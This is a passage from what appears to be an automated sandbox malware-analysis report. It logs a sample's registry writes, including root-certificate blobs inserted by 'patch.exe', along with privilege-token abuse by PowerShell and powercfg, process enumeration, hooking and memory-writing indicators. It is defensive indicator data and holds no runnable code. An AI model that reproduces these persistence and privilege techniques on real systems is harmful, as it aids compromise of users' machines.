\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-22 = "Cape Verde Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe -
Processes:
patch.execsrss.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 19000000010000001000000068cb42b035ea773e52ef50ecf50ec5290f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae474040000000100000010000000acb694a59c17e0d791529bb19706a6e420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 patch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 0f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e4030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47409000000010000000c000000300a06082b060105050703011d0000000100000010000000918ad43a9475f78bb5243de886d8103c140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c00b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f00740000000f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f20000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 patch.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
aab85d8dc402cb3c4487d181db202529.exeExplorer.EXEpid process 2344 aab85d8dc402cb3c4487d181db202529.exe 2344 aab85d8dc402cb3c4487d181db202529.exe 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE 1216 Explorer.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 1216 Explorer.EXE -
Suspicious behavior: LoadsDriver 2 IoCs
Processes:
pid process 476 476 -
Suspicious behavior: MapViewOfSection 2 IoCs
Processes:
aab85d8dc402cb3c4487d181db202529.exetoolspub2.exepid process 2344 aab85d8dc402cb3c4487d181db202529.exe 1476 toolspub2.exe -
Suspicious use of AdjustPrivilegeToken 37 IoCs
Processes:
9DE6.exeExplorer.EXE9888.exeD03E.exe9DE6.exeD751.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exe31839b57a4f11171d6abc8bbc4451ee4.exeXsdType.execsrss.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exeupdater.exeexplorer.exedescription pid process Token: SeDebugPrivilege 2772 9DE6.exe Token: SeShutdownPrivilege 1216 Explorer.EXE Token: SeShutdownPrivilege 1216 Explorer.EXE Token: SeDebugPrivilege 2376 9888.exe Token: SeDebugPrivilege 1636 D03E.exe Token: SeShutdownPrivilege 1216 Explorer.EXE Token: SeShutdownPrivilege 1216 Explorer.EXE Token: SeShutdownPrivilege 1216 Explorer.EXE Token: SeDebugPrivilege 2736 9DE6.exe Token: SeShutdownPrivilege 1216 Explorer.EXE Token: SeShutdownPrivilege 1216 Explorer.EXE Token: SeDebugPrivilege 2044 D751.exe Token: SeShutdownPrivilege 1216 Explorer.EXE Token: SeDebugPrivilege 2316 powershell.exe Token: SeShutdownPrivilege 1216 Explorer.EXE Token: SeShutdownPrivilege 1216 Explorer.EXE Token: SeShutdownPrivilege 1216 Explorer.EXE Token: SeShutdownPrivilege 1216 Explorer.EXE Token: SeShutdownPrivilege 2056 powercfg.exe Token: SeDebugPrivilege 3048 powershell.exe Token: SeShutdownPrivilege 1216 Explorer.EXE Token: SeShutdownPrivilege 2880 powercfg.exe Token: SeShutdownPrivilege 1800 powercfg.exe Token: SeShutdownPrivilege 328 powercfg.exe Token: SeShutdownPrivilege 1216 Explorer.EXE Token: SeDebugPrivilege 2436 31839b57a4f11171d6abc8bbc4451ee4.exe Token: SeImpersonatePrivilege 2436 31839b57a4f11171d6abc8bbc4451ee4.exe Token: SeDebugPrivilege 2076 XsdType.exe Token: SeSystemEnvironmentPrivilege 1648 csrss.exe Token: SeDebugPrivilege 892 powershell.exe Token: SeShutdownPrivilege 332 powercfg.exe Token: SeDebugPrivilege 2676 powershell.exe Token: SeShutdownPrivilege 2240 powercfg.exe Token: SeShutdownPrivilege 1756 powercfg.exe Token: SeShutdownPrivilege 1444 powercfg.exe Token: SeDebugPrivilege 2704 updater.exe Token: SeLockMemoryPrivilege 944 explorer.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Broom.exepid process 1776 Broom.exe -
Suspicious use of WriteProcessMemory 64 IoCs
